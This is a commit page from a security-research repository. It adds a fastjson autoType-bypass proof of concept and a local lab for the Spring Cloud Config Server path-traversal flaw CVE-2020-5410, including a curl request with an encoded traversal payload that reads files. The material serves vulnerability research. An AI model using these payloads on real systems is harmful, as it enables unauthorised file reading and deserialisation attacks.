Skip to content

Commit 869c8de

Browse files
author
“threedr3am”
committed
1 parent 6e0efe7 commit 869c8de

File tree

7 files changed

+114
-1
lines changed

7 files changed

+114
-1
lines changed
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
CalcScriptEngineFactory
1+
#CalcScriptEngineFactory
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
package com.threedr3am.bug.fastjson.test;
2+
3+
import com.alibaba.fastjson.JSON;
4+
5+
/**
6+
* @author threedr3am
7+
*/
8+
public class Bypass {
9+
10+
public static void main(String[] args) {
11+
String json = "{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"com.threedr3am.bug.fastjson.test.AAAA\", \"rrr\": {\"@type\": \"com.threedr3am.bug.fastjson.test.BBBB\", \"eval\": \"fastjson\"}}";
12+
JSON.parse(json);
13+
}
14+
15+
}
16+
17+
class AAAA implements AutoCloseable {
18+
private BBBB rrr;
19+
20+
public BBBB getRrr() {
21+
return rrr;
22+
}
23+
24+
public void setRrr(BBBB rrr) {
25+
this.rrr = rrr;
26+
}
27+
28+
@Override
29+
public void close() throws Exception {
30+
31+
}
32+
}
33+
34+
class BBBB {
35+
private String eval;
36+
public String getEval() {
37+
return eval;
38+
}
39+
public void setEval(String eval) {
40+
System.out.println(eval + " eval!");
41+
this.eval = eval;
42+
}
43+
}

spring/pom.xml

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@
1313
<packaging>pom</packaging>
1414
<modules>
1515
<module>spring-boot-actuator-bug</module>
16+
<module>spring-cloud-config-server-CVE-2020-5410</module>
1617
</modules>
1718

1819

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<groupId>org.springframework.boot</groupId>
7+
<artifactId>spring-boot-starter-parent</artifactId>
8+
<version>2.2.2.RELEASE</version>
9+
<relativePath/>
10+
</parent>
11+
<modelVersion>4.0.0</modelVersion>
12+
<artifactId>spring-cloud-config-server-CVE-2020-5410</artifactId>
13+
14+
15+
<dependencies>
16+
<dependency>
17+
<groupId>org.springframework.boot</groupId>
18+
<artifactId>spring-boot-starter</artifactId>
19+
</dependency>
20+
21+
<dependency>
22+
<groupId>org.springframework.cloud</groupId>
23+
<artifactId>spring-cloud-config-server</artifactId>
24+
<version>2.2.2.RELEASE</version>
25+
</dependency>
26+
</dependencies>
27+
28+
29+
30+
</project>
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
package com.threedr3am.bug.spring.config.server;
2+
3+
import org.springframework.boot.SpringApplication;
4+
import org.springframework.boot.autoconfigure.SpringBootApplication;
5+
import org.springframework.cloud.config.server.EnableConfigServer;
6+
7+
/**
8+
* @author threedr3am
9+
*/
10+
@EnableConfigServer
11+
@SpringBootApplication
12+
public class Application {
13+
14+
public static void main(String[] args) {
15+
SpringApplication.run(Application.class, args);
16+
}
17+
}
Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
/**
2+
*
3+
* CVE-2020-5410
4+
*
5+
* org.springframework.cloud.config.server.environment.EnvironmentController#getEnvironment(java.lang.String, java.lang.String, java.lang.String, boolean)
6+
*
7+
* echo "threedr3am" > /Users/person/tmp/fakenew.txt
8+
* curl http://127.0.0.1:9988/fakenew.txt%23/bbbbb/..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29..%28_%29Users%28_%29person%28_%29tmp%28_%29
9+
*
10+
* @author threedr3am
11+
*/
12+
package com.threedr3am.bug.spring.config.server;
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
spring:
2+
profiles:
3+
active: native
4+
cloud:
5+
config:
6+
server:
7+
native:
8+
search-locations: file:///tmp/{label},file:///tmp/{application},file:///tmp/{profiles}
9+
server:
10+
port: 9988

0 commit comments

Comments
 (0)